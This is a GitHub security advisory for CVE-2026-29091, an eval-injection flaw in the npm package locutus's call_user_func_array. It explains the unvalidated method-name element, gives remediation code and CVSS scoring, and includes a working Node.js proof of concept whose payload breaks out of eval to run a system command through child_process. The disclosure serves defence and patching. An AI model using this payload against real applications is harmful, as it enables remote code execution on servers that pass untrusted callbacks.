Skip to content

locutus call_user_func_array vulnerable to Remote Code Execution (RCE) due to Code Injection

High severity GitHub Reviewed Published Mar 3, 2026 in locutusjs/locutus • Updated Mar 6, 2026

Package

npm locutus (npm)

Affected versions

<= 2.0.39

Patched versions

3.0.0

Description

Details

A Remote Code Execution (RCE) flaw was discovered in the locutus project (v2.0.39), specifically within the call_user_func_array function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the call_user_func_array function (and its wrapper call_user_func), which fails to properly validate all components of a callback array before passing them to eval().


Technical Details

The vulnerability is in the call_user_func_array function in src/php/funchand/call_user_func_array.js, between lines 31 and 35 of version 2.0.39. This function mimics PHP's dynamic function call feature and accepts a callback argument, which can be a string (function name) or an array (class and method name).

The developers applied a regular expression check (validJSFunctionNamePattern) to the first array element (the class identifier), but not to the second element (the method identifier). As a result, the code inserts the user-supplied method name directly into the evaluation string: func = eval(cb[0] + "['" + cb[1] + "']"). This oversight allows an attacker to craft a payload in the second element that escapes the property access context, injects arbitrary JavaScript commands, and executes them with the full privileges of the Node.js process.

// src/php/funchand/call_user_func_array.js (Lines 31-35)

if (cb[0].match(validJSFunctionNamePattern)) {
  // biome-ignore lint/security/noGlobalEval: needed for PHP port
  func = eval(cb[0] + "['" + cb[1] + "']")
}

PoC

This PoC loads the vulnerable call_user_func_array implementation from Locutus and supplies a crafted callback argument that breaks out of the internal eval. The injected payload executes a system command and forces the function to fail validation, causing the command output to surface in the error message.

const path = require("path");
const fs = require("fs");

const vulnFilePath = path.resolve(
  __dirname,
  "./src/php/funchand/call_user_func_array.js"
);

if (!fs.existsSync(vulnFilePath)) {
  console.error("error target file not found");
  process.exit(1);
}

console.log("loading target");
const call_user_func_array = require(vulnFilePath);

const payload = "']; require('child_process').execSync('id').toString().trim(); //";

console.log("payload set");

try {
  console.log("run");
  call_user_func_array(["Date", payload], []);
  console.log("fail no error");
} catch (e) {
  const msg = e.message;
  if (msg && msg.includes("uid=")) {
    console.log("pwn");
    const proof = msg.split(" is not a valid function")[0];
    console.log("out " + proof);
  } else {
    console.error("fail unexpected");
    console.error(msg);
    process.exit(1);
  }
}

Impact

If exploited, this issue allows attackers to execute arbitrary JavaScript code in the Node.js process. It occurs when applications pass untrusted array callbacks to call_user_func_array(), a practice common in JSON-RPC setups and PHP-to-JavaScript porting layers. Since the library fails to properly sanitize inputs, this is considered a supplier defect rather than an integration error.

This flaw has been exploited in practice, but it is not a "drive-by" vulnerability. It only arises when an application serves as a gateway or router using Locutus functions.

Finally, if an attacker can control cb[0] without regex constraints, they could use global or process directly. However, Locutus protects cb[0]. This cb[1] injection is the only way to bypass the intended security controls of the library. It is a "bypass" of the library's own protection.


Remediation

Update the loop to capture the value correctly or use the index to reference the slice directly.

// src/php/funchand/call_user_func_array.js (Lines 31-35)

if (typeof cb[0] === "string") {
  if (cb[0].match(validJSFunctionNamePattern)) {
    // biome-ignore lint/security/noGlobalEval: needed for PHP port
    // func = eval(cb[0] + "['" + cb[1] + "']");
    var obj = null;
    try {
      obj = eval(cb[0]);
    } catch (e) {}
    if (obj && typeof obj[cb[1]] === "function") {
      func = obj[cb[1]];
    }
  }
} else {
  func = cb[0][cb[1]];
}
return func.apply(null, parameters);

And maybe after a better remediations is refactor call_user_func_array to resolve global objects using global[cb[0]] or window[cb[0]].


Resources

https://cwe.mitre.org/data/definitions/95.html

https://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!


Author: Tomas Illuminati

References

@kvz kvz published to locutusjs/locutus Mar 3, 2026
Published to the GitHub Advisory Database Mar 4, 2026
Reviewed Mar 4, 2026
Published by the National Vulnerability Database Mar 6, 2026
Last updated Mar 6, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(53rd percentile)

Weaknesses

Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. eval). Learn more on MITRE.

CVE ID

CVE-2026-29091

GHSA ID

GHSA-fp25-p6mj-qqg6

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.